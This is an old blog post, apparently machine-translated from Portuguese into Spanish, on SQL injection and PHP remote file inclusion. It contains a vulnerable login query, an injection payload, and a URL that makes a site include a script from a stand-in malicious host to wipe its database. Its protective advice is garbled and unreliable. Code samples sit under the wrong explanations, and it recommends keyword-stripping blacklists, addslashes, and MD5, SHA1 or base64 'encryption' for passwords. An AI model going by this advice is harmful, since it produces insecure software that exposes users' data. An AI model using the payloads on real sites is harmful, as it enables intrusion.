Idioma:

¿Sabes qué es SQL Injection?

30 Agosto 2009 | En Web | 10,5 mil vistas | Por

Haga clic en & compartir: 


SQL_InjectionHablar de un tema muy importante, que envolve a seguridad dos nossos projetos em PHP e MySQL, la temida Inyección SQL. Si eres programador seguramente ya enterado, Pero si nunca has entendido seguro que voy a explicar lo que pasa.

Inyección SQL es un ataque dirigido a enviar comandos dañinos a la base de datos a través de campos de formulario o de URL. Un ataque exitoso puede, por ejemplo, eliminar una tabla de base de datos, borrar todos los datos de la tabla o incluso adquirir las contraseñas que se registran.

A continuación es un ejemplo de la vulnerabilidad del sistema de inicio de sesión:

$usuario = $_POST['usuario'];
$senha = $_POST['senha'];
$sql = "SELECT * FROM usuarios WHERE usuario = '".$usuario."' AND senha = '".$senha."' ";
$processa = mysql_query($sql);

En este ejemplo las variables $usuario y $contraseña recebem contenido vindo diretamente de um formulário através do método POST. Imagina que es el contenido de la variable $senha "' o 1 = 1 '". Si no se realiza ninguna validación, el usuario debe registrarse en el sistema sin al menos haber especificado un registro válido, debido a un defecto en la instrucción SQL generada.

Veamos otro ejemplo de la vulnerabilidad. Muitos sites utilizam sistemas via include() para organizar tus páginas internas, basado en el variable $ _GET método.

// Verifica se a variável $_GET['pagina'] existe
if (isset($_GET['pagina'])) {
// Pega o valor da variável $_GET['pagina']
$arquivo = $_GET['pagina'];
} else {
// Se não existir variável, define um valor padrão
$arquivo = 'home.php';
}
include ($arquivo); // Inclui o arquivo

Y en la dirección URL del sitio podrías tener:
http://www.seusite.com.br/?pagina=contato.php

Con esto el "atacante" puede, por ejemplo, poner un camino a una secuencia de comandos externo en lugar de la variable:
http://www.seusite.com.br/?pagina=http://malicioso.com/apaga-banco.php

Su sitio incluye el archivo normalmente y todo lo que existe dentro de él... funcionaría y su banco podría restablecerse completamente!

Se asustó? Calma. Para proteger sus puestos de trabajo simplemente seguir una regla básica poco:

"Siempre validar cualquier tipo de datos que está recibiendo su proyecto, Ya sea mediante formulario (Exponer) o a través de cadena de consulta (Obtener).”

Ahora usted puede estar preguntándose qué hacer para protegerse de los ataques. Existem dezenas de “macetes” disponiveis na Internet que servem para validação de dados. Aquí están algunos:

- Usted puede combinar addslashes() y recortar() para recibir los datos. EL primera irá adicionar uma barra invertida antes de cada barra simples ou dupla que apareça, Este proceso conocido como ESCAPE. La segunda se encargará de eliminar espacios en blanco. También puede utilizar sólo una de las dos funciones.

$usuario = addslashes($_POST['usuario']);
$usuario = trim($usuario);
$senha = addslashes($_POST['senha']);
$senha = trim($senha);

- Se puede utilizar mysql_real_escape_string() para recibir los datos. Esta función sirve para quitar los caracteres especiales en los datos recibidos. Cabe mencionar que este comando nãoremove % y _ .

- Se puede utilizar strip_tags() para recibir los datos. Esta función a eliminar etiquetas PHP y HTML todos los datos facilitados.

$usuario = mysql_real_escape_string($_POST['usuario']);
$senha = mysql_real_escape_string($_POST['senha']);

Puedes dejar que utilice el segundo parámetro de la función, indicando que etiquetas se les permite continuar.

$usuario = strip_tags($_POST['usuario']);
$senha = strip_tags($_POST['senha']);

- Para la variable entera se suministra, Se puede utilizar intval().

$usuario = strip_tags($_POST['usuario'], '<em><strong></strong></em>');

De esta manera se elimina cualquier caráctere no numéricos, dejando sólo valores de tipo Integer.

- También puede combinar varias funciones en una sola función mucho más integral. Aquí hay un ejemplo abajo:

function protecao($string){
$string = str_replace(" or ", "", $string);
$string = str_replace("select ", "", $string);
$string = str_replace("delete ", "", $string);
$string = str_replace("create ", "", $string);
$string = str_replace("drop ", "", $string);
$string = str_replace("update ", "", $string);
$string = str_replace("drop table", "", $string);
$string = str_replace("show table", "", $string);
$string = str_replace("applet", "", $string);
$string = str_replace("object", "", $string);
$string = str_replace("'", "", $string);
$string = str_replace("#", "", $string);
$string = str_replace("=", "", $string);
$string = str_replace("--", "", $string);
$string = str_replace("-", "", $string);
$string = str_replace(";", "", $string);
$string = str_replace("*", "", $string);
$string = strip_tags($string);
return $string;
}

- Si está trabajando con las contraseñas o datos confidenciales, Es importante pensar en usar CIFRADO de datos. Se puede utilizar MD5, SHA1 o base64, siendo que los dos primeros son de "ida" y no se deshacen al estado anterior. Búsqueda buscar más sobre ellos y protégete.

Con citas de Zoom digital

En Ivaiporã-PR, Ingeniero informático, Administrador del grupo de trabajo consejos en General. Apasionado de la tecnología y la informática.



Un poco sobre nosotros

    Generalmente, el grupo apareció en consejos 2007 de ideas innovadoras sobre problemas que enfrentan diariamente por aquellos que utilizan la ciencia tecnología y equipo, los usuarios normales y técnicos. Pero donde hizo, ¿por qué y cuál es el propósito de este sitio?

Haga clic aquí para leer!

Siga o Dicas em Geral no Google+

Video de la semana